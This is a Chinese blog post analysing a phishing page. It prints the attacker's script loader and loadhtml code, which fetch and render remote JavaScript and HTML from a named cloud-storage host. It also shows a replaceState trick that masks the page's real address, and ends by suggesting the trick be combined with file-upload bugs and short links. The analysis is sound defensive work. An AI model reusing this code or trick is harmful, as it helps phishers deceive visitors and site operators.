前言

在日常划水时候发现一个有意思的钓鱼页面,当复制浏览器地址去访问的时候会直接提示404,随即水一篇。

分析

钓鱼页面的入口为https://image.jiubugaosuni.com/image_clone/1713218343_IgHz1_45b130.html?sou, 看到这个目录结构,很容易和任意文件上传这类的漏洞关联起来。 打开页面后可以看到该页面引入了一个新的JS

<script charset="UTF-8">  
 var xUrl = '//2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_cx_1.js'  
 var now = Math.round(Date.now() / 1000 / 5)  
 var s = document.createElement('script')  
 s.setAttribute('src', xUrl + '?t=' +now)  
 s.setAttribute('charset', 'utf-8')  
 if (!document.body) document.head.appendChild(s)  
 else document.body.appendChild(s)  
 </script>  

页面内容中还有注释掉上面xml头的逻辑,可能上传时候业务逻辑做了一些限制,攻击者通过注释来绕过这个业务逻辑限制来运行html代码。
再往下2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_cx_1.js的内容如下:

function loadhtml(url){ 
 var xhr = new XMLHttpRequest;
 var html = null;
 function render() {
  var a = document.open("text/html", "replace");
  a.write(html);
  a.close();
 }
 xhr.onload = function () {
  html = xhr.responseText;
  var delay = 0;
  if (delay > 0) setTimeout("render()", delay * 1000)
  else render();
 };
 xhr.open("GET", url, !0);
 xhr.send(); 
}
 loadhtml('//2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_qq_hua_2.html?a=2?'+new Date().getTime()); 

引入的html有加密,通过直接运行上面的代码来观察进一步动作。运行以后,地址栏的URL的路径以及参数变成这样: bm55e27z59.html?1714556281896#1714556281896
通过#+时间戳的关键字定位到如下逻辑
可以看到通过pushState将地址栏进行了修改。但这句代码并不能达到修改uri地址的目的,于是再翻看JS,找到了下面这句:

window.history.replaceState({}, '', '/' + randomString(10) + '.html?' + Date.now());

攻击者通过使用pushState、replaceState结合来完成隐藏真正的被攻击页面的资源地址,来达到迷惑访客、运维人员的目的。

后语

根据文档来看,这两个api都受同源策略的限制。

新的 URL 必须与当前 URL 同源;否则,pushState() 将抛出异常
历史记录条目的 URL。新的 URL 跟当前的 URL 必须同源;否则 replaceState() 方法将抛出异常。

所以一般可以结合任意文件上传漏洞在钓鱼的过程中使用。当控制了某域下的任意html资源以后就可以伪造地址成该域下的其他资源,结合短网址等更佳。